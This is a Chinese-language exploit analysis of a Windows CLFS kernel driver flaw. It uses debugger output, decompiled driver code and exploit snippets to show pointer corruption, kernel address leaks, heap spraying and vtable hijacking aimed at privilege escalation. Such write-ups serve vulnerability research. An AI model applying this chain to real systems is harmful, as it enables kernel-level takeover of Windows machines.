{
CClfsLogFcbPhysical::ResetLog((CClfsLogFcbPhysical *)a1);
*(_DWORD *)(a1 + 348) |= 0x40u;
v39 = -1;
}
.....
return (unsigned int)EventObject;
}
继续调试,调试器在ClfsEncodeBlockPrivate断下
1: kd> k
# Child-SP RetAddr Call Site
00 fffff389`53916f70 fffff806`62d6802d CLFS!ClfsEncodeBlockPrivate+0xee
01 fffff389`53916fb0 fffff806`62d92232 CLFS!ClfsEncodeBlock+0x1d
02 fffff389`53916fe0 fffff806`62d899a0 CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x152
03 fffff389`53917070 fffff806`62d6161f CLFS!CClfsBaseFilePersisted::FlushImage+0x40
04 fffff389`539170b0 fffff806`62d63701 CLFS!CClfsLogFcbPhysical::FlushMetadata+0xef
05 fffff389`53917100 fffff806`62d8eaeb CLFS!CClfsLogFcbPhysical::Initialize+0xc85
06 fffff389`53917240 fffff806`62d90a2b CLFS!CClfsRequest::Create+0x4ef
07 fffff389`53917390 fffff806`62d907f7 CLFS!CClfsRequest::Dispatch+0x97
08 fffff389`539173e0 fffff806`62d90747 CLFS!ClfsDispatchIoRequest+0x87
09 fffff389`53917430 fffff806`668abac5 CLFS!CClfsDriver::LogIoDispatch+0x27
0a fffff389`53917460 fffff806`668629a4 nt!IofCallDriver+0x55
0b fffff389`539174a0 fffff806`66bf1dfd nt!IoCallDriverWithTracing+0x34
0c fffff389`539174f0 fffff806`66c20cbe nt!IopParseDevice+0x117d
0d fffff389`53917660 fffff806`66c01d3a nt!ObpLookupObjectName+0x3fe
0e fffff389`53917830 fffff806`66c88f0f nt!ObOpenObjectByNameEx+0x1fa
0f fffff389`53917960 fffff806`66c88ae9 nt!IopCreateFile+0x40f
10 fffff389`53917a00 fffff806`66a0a2b5 nt!NtCreateFile+0x79
11 fffff389`53917a90 00007ffa`91b0d9e4 nt!KiSystemServiceCopyEnd+0x25
12 00000058`ec6fe888 00007ffa`8bc92199 ntdll!NtCreateFile+0x14
13 00000058`ec6fe890 00000000`00000000 0x00007ffa`8bc92199
ClfsEncodeBlockPrivate伪代码:
__int64 __fastcall ClfsEncodeBlockPrivate(
struct _CLFS_LOG_BLOCK_HEADER *a1,
unsigned int a2,
UCHAR a3,
unsigned __int8 a4)
{
int ClientId_low; // eax
......
ClientId_low = LOWORD(a1->ClientId);
v21[0] = 0; // 段签名数组
if ( !(_WORD)ClientId_low || HIWORD(a1->ClientId) < (unsigned __int16)ClientId_low || ClientId_low << 9 > a2 )
return 3222929418i64;
if ( a4 > 0x10u )
return 3221225485i64;
v8 = 65809;
if ( !_bittest(&v8, a4) )
return 3221225485i64;
if ( (a1->Checksum & 1) != 0 )
return 3222929418i64;
SignaturesOffset = a1->SignaturesOffset;
v10 = a2 >> 9; // 3D
a1->Usn = a3;
HIBYTE(v22) = a3;
if ( (int)ULongAdd(SignaturesOffset, 2 * (a2 >> 9), v21) < 0 || v21[0] < v11 || (v11 & 7) != 0 || v21[0] > a2 )
return 3222929418i64;
v15 = 0;
if ( v10 )
{
do
{
v14 += 2i64;
v16 = 32;
v17 = 64;
if ( *(unsigned __int16 *)(v13 + 4) - 1 != v15 )
v16 = 0;
if ( v15 )
v17 = 0;
v18 = v17 | v16;
v19 = v15 << 9; // 段偏移
LOBYTE(v22) = a4 | v18;
++v15;
*(_WORD *)(v14 - 2) = *(_WORD *)(v19 + v13 + 510);// 循环相加,第14个段的签名会覆盖到SignatureOffset
*(_WORD *)((unsigned int)v19 + v13 + 510) = v22;
}
while ( v15 < v10 );
v12 = *(_DWORD *)(v13 + 16);
}
*(_DWORD *)(v13 + 16) = v12 & 0xFFFFFFFC | 1;
return 0i64;
}
该代码获取LOG_BLOCK_HEADER→SignaturesOffset的值,在PoC内已被设为0x50,而后循环读取每个扇区的签名并覆盖到SignaturesOffset偏移处,此时将从0x50开始写入数据,每次写入0x2个字节。
1: kd> ?0xd * 2
Evaluate expression: 26 = 00000000`0000001a
1: kd> rr11
r11=ffffab0523ecf06a
1: kd> ?r11-0x1a
Evaluate expression: -93436410793904 = ffffab05`23ecf050
在第十三个扇区覆盖时,偏移已经到了SignatureOffset处,第十三个扇区签名为0x0050,所以SignatureOffset 低2位为0050
1: kd> ?ffffab05`23ecf050+2*0xc
Evaluate expression: -93436410793880 = ffffab05`23ecf068
00000000 CLFS_LOG_BLOCK_HEADER struc ; (sizeof=0x70, align=0x8, copyof_491)
00000000 MajorVersion db ?
00000001 MinorVersion db ?
00000002 Usn db ?
00000003 db ? ; undefined
00000004 ClientId dd ?
00000008 TotalSectorCount dw ?
0000000A ValidSectorCount dw ?
0000000C Padding dd ?
00000010 Checksum dd ?
00000014 Flags dd ?
00000018 CurrentLsn CLFS_LSN ?
00000020 NextLsn CLFS_LSN ?
00000028 RecordOffsets dd 16 dup(?)
00000068 SignaturesOffset dd ?
第十四个扇区签名已经被覆盖为0xFFFF,再将第十四个扇区覆盖在SignatureOffset高两位字节,SignatureOffset值变为0XFFFF0050
1: kd> db ffffab0523ecf000 L0x80
ffffab05`23ecf000 15 00 01 00 3d 00 3d 00-00 00 00 00 00 00 00 00 ....=.=.........
ffffab05`23ecf010 02 00 00 00 00 00 00 00-00 00 00 00 ff ff ff ff ................
ffffab05`23ecf020 00 00 00 00 ff ff ff ff-70 00 00 00 00 00 00 00 ........p.......
ffffab05`23ecf030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffab05`23ecf040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffab05`23ecf050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffab05`23ecf060 00 00 00 00 00 00 00 00-50 00 ff ff 00 00 00 00 ........P.......
ffffab05`23ecf070 02 00 00 00 00 00 00 00-27 86 fc 26 07 10 ee 11 ........'..&....
回到AllocSymbol中,由于SignatureOffset变为0XFFFF0050,导致即使cbSymbolZone 被设为000000000001114b 也可以通过if条件判断,到达memset`
__int64 __fastcall CClfsBaseFilePersisted::AllocSymbol(CClfsBaseFilePersisted *this, unsigned int a2, void **a3)
{
__int64 v4; // rbp
CLFS_BASE_RECORD_HEADER *BaseLogRecord; // rax
__int64 v6; // r8 this指针
CLFS_BASE_RECORD_HEADER *v7; // rdi
CLFS_LOG_BLOCK_HEADER *v8; // rcx
__int64 cbSymbolZone; // r8
char *v10; // rbx
__int64 result; // rax
v4 = a2;
BaseLogRecord = (CLFS_BASE_RECORD_HEADER *)CClfsBaseFile::GetBaseLogRecord(this);
v7 = BaseLogRecord;
if ( !BaseLogRecord )
return 3222929421i64;
v8 = *(CLFS_LOG_BLOCK_HEADER **)(*(_QWORD *)(v6 + 48) + 48i64);
*a3 = 0i64;
cbSymbolZone = BaseLogRecord->cbSymbolZone;
if ( (char *)&BaseLogRecord[1] + cbSymbolZone + v4 > (char *)(&v8->MajorVersion + v8->SignaturesOffset) )
return 3221225507i64;
v10 = (char *)&BaseLogRecord[1] + cbSymbolZone;
memset(v10, 0, (unsigned int)v4);
v7->cbSymbolZone += v4;
result = 0i64;
*a3 = v10;
return result;
}
0: kd> dq rax+0x1328
ffffa78f`9468c398 00000000`0001114b 00000001`03030000
ffffa78f`9468c3a8 00000030`c1fdf006 000000b8`02d20016
ffffa78f`9468c3b8 00000000`00000000 00000000`00000000
ffffa78f`9468c3c8 00001368`000013f0 00000000`00000000
ffffa78f`9468c3d8 00000088`c1fdf007 00009c40`01000000
ffffa78f`9468c3e8 00000000`00000000 00000000`00000000
ffffa78f`9468c3f8 01100000`00000000 00000000`00000000
ffffa78f`9468c408 00000000`00000000 ffffffff`00000000
那么此处为什么要设为0x1114b呢。
在多次创建日志文件后,后面创建的每个日志文件的Base log record的内存间距稳定在0x11000
0: kd> db rax - 0x70 + 0x11000
ffffa78f`9469c000 15 00 03 00 3d 00 3d 00-00 00 00 00 00 00 00 00 ....=.=.........
ffffa78f`9469c010 02 00 00 00 00 00 00 00-00 00 00 00 ff ff ff ff ................
ffffa78f`9469c020 00 00 00 00 ff ff ff ff-70 00 00 00 00 00 00 00 ........p.......
ffffa78f`9469c030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa78f`9469c040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa78f`9469c050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa78f`9469c060 00 00 00 00 00 00 00 00-80 79 00 00 00 00 00 00 .........y......
ffffa78f`9469c070 05 00 00 00 00 00 00 00-93 76 34 8f 1b 10 ee 11 .........v4.....
此处在调试器中后一个日志文件的container context偏移为0x1468
0: kd> dw ffffa78f`9469c000+0x70 + 0x328
ffffa78f`9469c398 1468 0000 0000 0000 0000 0000 0000 0000
ffffa78f`9469c3a8 0000 0000 0000 0000 0000 0000 0000 0000
ffffa78f`9469c3b8 0000 0000 0000 0000 0000 0000 0000 0000
ffffa78f`9469c3c8 0000 0000 0000 0000 0000 0000 0000 0000
ffffa78f`9469c3d8 0000 0000 0000 0000 0000 0000 0000 0000
ffffa78f`9469c3e8 0000 0000 0000 0000 0000 0000 0000 0000
ffffa78f`9469c3f8 0000 0000 0000 0000 0000 0000 0000 0000
ffffa78f`9469c408 0000 0000 0000 0000 0000 0000 0000 0000
0: kd> dd ffffa78f`9469c000+0x70 + 0x1468
ffffa78f`9469d4d8 c1fdf008 00000030 00080000 00000000
ffffa78f`9469d4e8 00000000 00000000 93e0d330 ffffa78f
ffffa78f`9469d4f8 00000001 00000002 00000000 00000000
ffffa78f`9469d508 003f005c 005c003f 003a0043 0055005c
ffffa78f`9469d518 00650073 00730072 0050005c 00620075
ffffa78f`9469d528 0069006c 005c0063 0063002e 006e006f
ffffa78f`9469d538 00610074 006e0069 00720065 0031005f
ffffa78f`9469d548 00340031 00360037 00000039 00000000
根据伪代码可知memset的位置为BaseLogRecord + 0x 1338 + cbSymbolZone
如果要利用前一个日志文件在AllocSymbol时修改后一个日志文件的container context→pContainer的高四位则应满足下列条件
ffffa78f9469d4f4 = BaseLogRecord + 0x1338 + cbSymbolZone`,计算可得
0: kd> ?ffffa78f`9469d4f4 - 0x1338 - rax
Evaluate expression: 69964 = 00000000`0001114c
通过memset将指针高四位清零后,通过NtSetInformationFile函数为container文件设置属性13(关闭时删除文件)。在关闭日志文件句柄时会调用CClfsBaseFilePersisted::RemoveContainer函数移除container,在该函数中会获取container context并解引用container context→pContainer,由于指针损坏,导致蓝屏。
在CLFS!CClfsBaseFilePersisted::RemoveContainer 断点
bp CLFS!CClfsBaseFilePersisted::RemoveContainer
1: kd> db r15
ffffd70e`48d9d4d8 08 f0 fd c1 30 00 00 00-00 00 08 00 00 00 00 00 ....0...........
ffffd70e`48d9d4e8 00 00 00 00 00 00 00 00-e0 37 c1 00 00 00 00 00 .........7......
ffffd70e`48d9d4f8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffd70e`48d9d508 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffd70e`48d9d518 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffd70e`48d9d528 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffd70e`48d9d538 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffd70e`48d9d548 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1: kd> k
# Child-SP RetAddr Call Site
00 fffff88e`db5aa5e0 fffff806`0b6f120b CLFS!CClfsBaseFilePersisted::RemoveContainer+0x10f
01 fffff88e`db5aa640 fffff806`0b6f8b0f CLFS!CClfsLogFcbPhysical::DeleteBaseFileAndContainers+0xf3
02 fffff88e`db5aa690 fffff806`0b6f8761 CLFS!CClfsLogFcbPhysical::Finalize+0x39b
03 fffff88e`db5aa6c0 fffff806`0b71df42 CLFS!CClfsLogFcbPhysical::Release+0xb1
04 fffff88e`db5aa720 fffff806`0b720878 CLFS!CClfsRequest::Close+0xd6
05 fffff88e`db5aa770 fffff806`0b720747 CLFS!ClfsDispatchIoRequest+0x108
06 fffff88e`db5aa7c0 fffff806`0d8abac5 CLFS!CClfsDriver::LogIoDispatch+0x27
07 fffff88e`db5aa7f0 fffff806`0dbf088f nt!IofCallDriver+0x55
08 fffff88e`db5aa830 fffff806`0dc19af0 nt!IopDeleteFile+0x14f
09 fffff88e`db5aa8b0 fffff806`0d8ae1a7 nt!ObpRemoveObjectRoutine+0x80
0a fffff88e`db5aa910 fffff806`0dc22449 nt!ObfDereferenceObjectWithTag+0xc7
0b fffff88e`db5aa950 fffff806`0dc2627c nt!ObCloseHandleTableEntry+0x6c9
0c fffff88e`db5aaa90 fffff806`0da0a2b5 nt!NtClose+0xec
0d fffff88e`db5aab00 00007ff8`0b48d124 nt!KiSystemServiceCopyEnd+0x25
0e 0000001d`518fe678 00007ff8`08bea405 ntdll!NtClose+0x14
0f 0000001d`518fe680 00000000`00000000 0x00007ff8`08bea405
1: kd> u
CLFS!CClfsBaseFilePersisted::RemoveContainer+0x10f:
fffff806`0b716ebf 498b7f18 mov rdi,qword ptr [r15+18h]
fffff806`0b716ec3 4885ff test rdi,rdi
fffff806`0b716ec6 0f84b9000000 je CLFS!CClfsBaseFilePersisted::RemoveContainer+0x1d5 (fffff806`0b716f85)
fffff806`0b716ecc 4983671800 and qword ptr [r15+18h],0
fffff806`0b716ed1 65488b142588010000 mov rdx,qword ptr gs:[188h]
fffff806`0b716eda 488b4e20 mov rcx,qword ptr [rsi+20h]
fffff806`0b716ede 4c8b15c3d1ffff mov r10,qword ptr [CLFS!_imp_ExReleaseResourceForThreadLite (fffff806`0b7140a8)]
fffff806`0b716ee5 e8a6552102 call nt!ExReleaseResourceForThreadLite (fffff806`0d92c490)
__int64 __fastcall CClfsBaseFilePersisted::RemoveContainer(CClfsBaseFilePersisted *this, unsigned int a2)
{
__int64 v2; // r12
BOOLEAN v4; // r14
__int64 BaseLogRecord; // rax
__int64 v6; // rdi
int v7; // r14d
int Symbol; // eax
int v9; // ebx
struct _CLFS_CONTAINER_CONTEXT *v10; // r15
int v11; // eax
__int64 v12; // rdi
__int64 v13; // rax
BOOLEAN v15; // [rsp+20h] [rbp-38h]
unsigned int v16; // [rsp+24h] [rbp-34h]
struct _CLFS_CONTAINER_CONTEXT *v17; // [rsp+70h] [rbp+18h] BYREF
v2 = a2;
v17 = 0i64;
v4 = ExAcquireResourceExclusiveLite(*((PERESOURCE *)this + 4), 1u);
v15 = v4;
BaseLogRecord = CClfsBaseFile::GetBaseLogRecord(this);
v6 = BaseLogRecord;
if ( !BaseLogRecord )
{
v9 = -1072037875;
v16 = -1072037875;
goto LABEL_20;
}
v7 = *(_DWORD *)(BaseLogRecord + 4 * v2 + 808);
if ( !v7 )
{
v9 = -1073741816;
LABEL_14:
v16 = v9;
goto LABEL_19;
}
Symbol = CClfsBaseFile::GetSymbol(this, v7, v2, &v17);
v9 = Symbol;
v16 = Symbol;
v10 = v17;
if ( v17 )
{
if ( Symbol >= 0 )
{
v9 = CClfsBaseFilePersisted::RemoveSymbol(this, v7);
v16 = v9;
if ( v9 >= 0 )
{
LODWORD(v17) = *(_DWORD *)(v6 + 4 * v2 + 808);
*(_DWORD *)(v6 + 4 * v2 + 808) = 0;
RtlClearBits((PRTL_BITMAP)((char *)this + 232), v2, 1u);
RtlNumberOfSetBits((PRTL_BITMAP)((char *)this + 232));
if ( *((_DWORD *)v10 + 9) != 1 )
--*(_DWORD *)(v6 + 300);
v11 = CClfsBaseFilePersisted::FlushImage(this);
v9 = v11;
v16 = v11;
if ( v11 >= 0 )
{
v12 = *((_QWORD *)v10 + 3);
if ( v12 )
{
*((_QWORD *)v10 + 3) = 0i64;
ExReleaseResourceForThreadLite(*((PERESOURCE *)this + 4), (ERESOURCE_THREAD)KeGetCurrentThread());
v4 = 0;
(*(void (__fastcall **)(__int64))(*(_QWORD *)v12 + 24i64))(v12);
(*(void (__fastcall **)(__int64))(*(_QWORD *)v12 + 8i64))(v12);
v9 = v16;
goto LABEL_20;
}
goto LABEL_19;
}
if ( v11 != -1073741816 )
{
v13 = CClfsBaseFile::OffsetToAddr(this);
if ( v13 )
{
*(_BYTE *)(v13 - 8) = 0;
*(_DWORD *)(v6 + 4 * v2 + 808) = (_DWORD)v17;
RtlSetBits((PRTL_BITMAP)((char *)this + 232), v2, 1u);
if ( *((_DWORD *)v10 + 9) != 1 )
++*(_DWORD *)(v6 + 300);
goto LABEL_19;
}
v9 = -1072037875;
goto LABEL_14;
}
}
}
}
LABEL_19:
v4 = v15;
LABEL_20:
if ( v4 )
{
ExReleaseResourceForThreadLite(*((PERESOURCE *)this + 4), (ERESOURCE_THREAD)KeGetCurrentThread());
return v16;
}
return (unsigned int)v9;
}
最后附上zscaler画的流程图

首先通过查询SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\CurrentBuild 来确定系统版本是否在范围内,因为在_EPROCESS中_TOKEN偏移是不固定的,此次所使用的偏移为0x4B8.
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"), NULL, KEY_READ, &hKey) == ERROR_SUCCESS) {
printf("[+] Registry key Opened successfully\n");
}
......
RegQueryValueEx(hKey, TEXT("CurrentBuild"), NULL, &cType, (LPBYTE)lpData, &buffersize);
// -1表示处理整个缓冲区
WideCharToMultiByte(CP_UTF8, 0, lpData, -1, (LPSTR)buf, 0x80, 0, 0);
winversion = atoi(buf);
wprintf(L"[+] Windows Build Number: %i\n", winversion);
if (winversion >= 17763 && winversion <= 22000) {
token_offset = 0x4b8; // store the token offset
}
else {
printf("[!] Version %d not supported. Exiting...\n", winversion);
exit(-1);
}
EXP通过调用NtQuerySystemInformation 函数,并将SystemInformationClass 参数设置为SystemExtendedHandleInformation 查询系统句柄信息(进程),遍历handle 列表,通过比较UniqueProcessId来确定找到的进程PID并返回其_EPROCESS地址,EXP中分别获取到自身的_EPROCESS地址和pid为4的进程的_EPROCESS地址。
status = fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);
for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++)
{
if ((USHORT)Object == 0x4)
{
if (0x4 == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue)
{
kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
bFind = TRUE;
break;
}
}
else
{
if (GetCurrentProcessId() == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue)
{
kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
bFind = TRUE;
break;
}
}
}
EXP进行堆喷射,循环在偏移0x10000开始每隔0x10位置写入0x500000。

绕过CreatePipe创建管道并通过NtFsControlFile设置管道属性,其中FsControlCode 参数被设为0x11003c,这使得在之后可以通过调用NtFsControlFile并传递FsControlCode 参数为0x110038来读取管道属性。
EXP通过调用NtQuerySystemInformation并传递SystemInformationClass参数为SystemBigPoolInformation查询内核堆信息。通过循环遍历堆信息并比较堆tag找到了Pipe堆在内核的地址。

0: kd> db ffffa48d64eff000
ffffa48d`64eff000 50 25 a6 67 8d a4 ff ff-50 25 a6 67 8d a4 ff ff P%.g....P%.g....
ffffa48d`64eff010 28 f0 ef 64 8d a4 ff ff-d6 0f 00 00 00 00 00 00 (..d............
ffffa48d`64eff020 2a f0 ef 64 8d a4 ff ff-5a 00 00 00 00 00 00 00 *..d....Z.......
ffffa48d`64eff030 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffa48d`64eff040 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffa48d`64eff050 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffa48d`64eff060 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffa48d`64eff070 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
将系统EPROCESS进行异或后存到栈上的地址中

将41414141写到0x100000007的内存地址上


获取到SeSetAccessStateGenericMapping函数地址

1: kd> u fffff8046b3f2da0
nt!SeSetAccessStateGenericMapping:
fffff804`6b3f2da0 488b4148 mov rax,qword ptr [rcx+48h]
fffff804`6b3f2da4 0f1002 movups xmm0,xmmword ptr [rdx]
fffff804`6b3f2da7 f30f7f4008 movdqu xmmword ptr [rax+8],xmm0
fffff804`6b3f2dac c3 ret
fffff804`6b3f2dad cc int 3
fffff804`6b3f2dae cc int 3
fffff804`6b3f2daf cc int 3
fffff804`6b3f2db0 cc int 3
获取ClfsEarlierLsn的内核地址

0: kd> u FFFFF8046A9F1CB0
CLFS!ClfsEarlierLsn:
fffff804`6a9f1cb0 488b05c1240000 mov rax,qword ptr [CLFS!CLFS_LSN_INVALID (fffff804`6a9f4178)]
fffff804`6a9f1cb7 4885c9 test rcx,rcx
fffff804`6a9f1cba 7436 je CLFS!ClfsEarlierLsn+0x42 (fffff804`6a9f1cf2)
fffff804`6a9f1cbc 488b09 mov rcx,qword ptr [rcx]
fffff804`6a9f1cbf 483b0d82210000 cmp rcx,qword ptr [CLFS!CLFS_LSN_NULL (fffff804`6a9f3e48)]
fffff804`6a9f1cc6 742a je CLFS!ClfsEarlierLsn+0x42 (fffff804`6a9f1cf2)
fffff804`6a9f1cc8 483bc8 cmp rcx,rax
fffff804`6a9f1ccb 7425 je CLFS!ClfsEarlierLsn+0x42 (fffff804`6a9f1cf2)
把两个函数布局到0x500008和0x500018上

触发漏洞pContainer指针高5位被清零,指针指向0x593a0,该地址为用户层内存地址。
1: kd> db rax
ffffbc0b`276dd070 06 00 00 00 00 00 00 00-69 be 23 a9 92 15 ee 11 ........i.#.....
ffffbc0b`276dd080 bc 80 00 0c 29 07 fc 32-00 00 00 00 00 00 00 00 ....)..2........
ffffbc0b`276dd090 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276dd0a0 00 00 00 00 00 00 00 00-38 13 00 00 00 00 00 00 ........8.......
ffffbc0b`276dd0b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276dd0c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276dd0d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276dd0e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1: kd> db rax -0x11000
ffffbc0b`276cc070 01 00 00 00 00 00 00 00-2b 21 72 e4 7f 15 ee 11 ........+!r.....
ffffbc0b`276cc080 bc 7f 00 0c 29 07 fc 32-00 00 00 00 00 00 00 00 ....)..2........
ffffbc0b`276cc090 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276cc0a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276cc0b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276cc0c0 00 00 00 00 00 00 00 00-38 13 00 00 00 00 00 00 ........8.......
ffffbc0b`276cc0d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276cc0e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1: kd> db rax + 0x1468
ffffbc0b`276de4d8 08 f0 fd c1 30 00 00 00-00 00 08 00 00 00 00 00 ....0...........
ffffbc0b`276de4e8 00 00 00 00 00 00 00 00-a0 93 50 00 00 00 00 00 ..........P.....
ffffbc0b`276de4f8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276de508 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276de518 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276de528 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276de538 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276de548 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
获取pContainer指针,并尝试解引用pContainer获取到CClfsContainer对象,而后调用对象的指针

fffff800`11306ebf 498b7f18 mov rdi, qword ptr [r15+18h]
fffff800`11306ec3 4885ff test rdi, rdi
fffff800`11306ec6 0f84b9000000 je CLFS!CClfsBaseFilePersisted::RemoveContainer+0x1d5 (fffff80011306f85)
fffff800`11306ecc 4983671800 and qword ptr [r15+18h], 0
fffff800`11306ed1 65488b142588010000 mov rdx, qword ptr gs:[188h]
fffff800`11306eda 488b4e20 mov rcx, qword ptr [rsi+20h]
fffff800`11306ede 4c8b15c3d1ffff mov r10, qword ptr [CLFS!__imp_ExReleaseResourceForThreadLite (fffff800113040a8)]
fffff800`11306ee5 e8a655c203 call ntkrnlmp!ExReleaseResourceForThreadLite (fffff80014f2c490)
fffff800`11306eea 4532f6 xor r14b, r14b
fffff800`11306eed 4488742420 mov byte ptr [rsp+20h], r14b
fffff800`11306ef2 488b07 mov rax, qword ptr [rdi]
fffff800`11306ef5 488b4018 mov rax, qword ptr [rax+18h]
fffff800`11306ef9 488bcf mov rcx, rdi
fffff800`11306efc ff15ced6ffff call qword ptr [CLFS!__guard_dispatch_icall_fptr (fffff800113045d0)]
fffff800`11306f02 488b07 mov rax, qword ptr [rdi]
fffff800`11306f05 488b4008 mov rax, qword ptr [rax+8]
fffff800`11306f09 488bcf mov rcx, rdi
fffff800`11306f0c ff15bed6ffff call qword ptr [CLFS!__guard_dispatch_icall_fptr (fffff800113045d0)]
1: kd> db r15
ffffbc0b`276de4d8 08 f0 fd c1 30 00 00 00-00 00 08 00 00 00 00 00 ....0...........
ffffbc0b`276de4e8 00 00 00 00 00 00 00 00-a0 93 50 00 00 00 00 00 ..........P.....
ffffbc0b`276de4f8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276de508 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276de518 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276de528 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276de538 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbc0b`276de548 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1: kd> p
CLFS!CClfsBaseFilePersisted::RemoveContainer+0x113:
fffff800`11306ec3 4885ff test rdi,rdi
1: kd> rrdi
rdi=00000000005093a0
1: kd> dp rdi
00000000`005093a0 00000000`05000000 ffffbc0b`24f9c018
00000000`005093b0 00000000`05000000 ffffbc0b`24f9c018
00000000`005093c0 00000000`05000000 ffffbc0b`24f9c018
00000000`005093d0 00000000`05000000 ffffbc0b`24f9c018
00000000`005093e0 00000000`05000000 ffffbc0b`24f9c018
00000000`005093f0 00000000`05000000 ffffbc0b`24f9c018
00000000`00509400 00000000`05000000 ffffbc0b`24f9c018
00000000`00509410 00000000`05000000 ffffbc0b`24f9c018
1: kd> dq 00000000`05000000
00000000`05000000 00000001`23456789 fffff800`151f2da0
00000000`05000010 00000000`00000000 fffff800`112f1cb0
00000000`05000020 00000000`00000000 00000000`00000000
00000000`05000030 00000000`00000000 00000000`00000000
00000000`05000040 00000000`00000000 00000000`00000000
00000000`05000050 00000000`00000000 00000000`00000000
00000000`05000060 00000000`00000000 00000000`00000000
00000000`05000070 00000000`00000000 00000000`00000000
该对象已经被用户层控制,CClfsContainer的vftable被指向05000000

在05000000+0x8和05000000+0x18处的两个函数指针分别是SeSetAccessStateGenericMapping和ClfsEarlierLsn
1: kd> dq 00000000`05000000
00000000`05000000 00000001`23456789 fffff800`151f2da0
00000000`05000010 00000000`00000000 fffff800`112f1cb0
00000000`05000020 00000000`00000000 00000000`00000000
00000000`05000030 00000000`00000000 00000000`00000000
00000000`05000040 00000000`00000000 00000000`00000000
00000000`05000050 00000000`00000000 00000000`00000000
00000000`05000060 00000000`00000000 00000000`00000000
00000000`05000070 00000000`00000000 00000000`00000000
1: kd> u fffff800`151f2da0
nt!SeSetAccessStateGenericMapping:
fffff800`151f2da0 488b4148 mov rax,qword ptr [rcx+48h]
fffff800`151f2da4 0f1002 movups xmm0,xmmword ptr [rdx]
fffff800`151f2da7 f30f7f4008 movdqu xmmword ptr [rax+8],xmm0
fffff800`151f2dac c3 ret
fffff800`151f2dad cc int 3
fffff800`151f2dae cc int 3
fffff800`151f2daf cc int 3
fffff800`151f2db0 cc int 3
1: kd> u fffff800`112f1cb0
CLFS!ClfsEarlierLsn:
fffff800`112f1cb0 488b05c1240000 mov rax,qword ptr [CLFS!CLFS_LSN_INVALID (fffff800`112f4178)]
fffff800`112f1cb7 4885c9 test rcx,rcx
fffff800`112f1cba 7436 je CLFS!ClfsEarlierLsn+0x42 (fffff800`112f1cf2)
fffff800`112f1cbc 488b09 mov rcx,qword ptr [rcx]
fffff800`112f1cbf 483b0d82210000 cmp rcx,qword ptr [CLFS!CLFS_LSN_NULL (fffff800`112f3e48)]
fffff800`112f1cc6 742a je CLFS!ClfsEarlierLsn+0x42 (fffff800`112f1cf2)
内核将依次调用ClfsEarlierLsn和SeSetAccessStateGenericMapping
在ClfsEarlierLsn中edx被设为0xFFFFFFFF
CLFS!ClfsEarlierLsn:
fffff800`112f1cb0 488b05c1240000 mov rax, qword ptr [CLFS!CLFS_LSN_INVALID (fffff800112f4178)]
fffff800`112f1cb7 4885c9 test rcx, rcx
